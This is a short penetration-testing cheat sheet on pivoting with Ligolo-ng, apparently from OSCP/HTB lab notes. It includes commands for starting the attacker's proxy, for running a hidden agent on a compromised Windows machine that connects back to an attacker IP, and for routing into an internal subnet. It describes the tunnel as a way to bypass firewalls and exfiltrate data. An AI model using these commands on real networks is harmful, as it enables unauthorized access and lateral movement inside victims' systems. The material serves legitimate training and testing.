> For the complete documentation index, see [llms.txt](https://htb.linuxsec.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.linuxsec.org/active-directory/post-exploitation/tunneling-with-ligolo-ng.md).
# Tunneling with Ligolo-ng
Ligolo-ng is a tool used for tunneling network traffic, primarily in penetration testing and security assessments. Its main purpose is to create a secure tunnel between a compromised machine and an attacker's server, allowing the attacker to access internal networks or services that are not directly reachable from the outside. This is especially useful for bypassing firewalls and for exfiltrating data or gaining further access within a target network. Ligolo-ng can support various protocols, making it versatile for different scenarios.
### From Attacker Side - Start Server
{% code overflow="wrap" %}
```bash
sudo ligolo-proxy -selfcert
interface_create --name "oscp-chall"
```
{% endcode %}
### From Victim Side - Connect to Server
{% code overflow="wrap" %}
```powershell
start /B ligolo-agent.exe -ignore-cert -connect 192.168.45.188:11601
```
{% endcode %}
### From Attacker Side - Start Tunneling
Then, from attacker side, after agent joined, run:
{% code overflow="wrap" %}
```bash
session
tunnel_start --tun "oscp-chall"
ifconfig
interface_add_route --name oscp-chall --route 10.10.70.0/24
```
{% endcode %}
Ligolo Proxy
Add new route
Now, our machine will able to access internal targets.
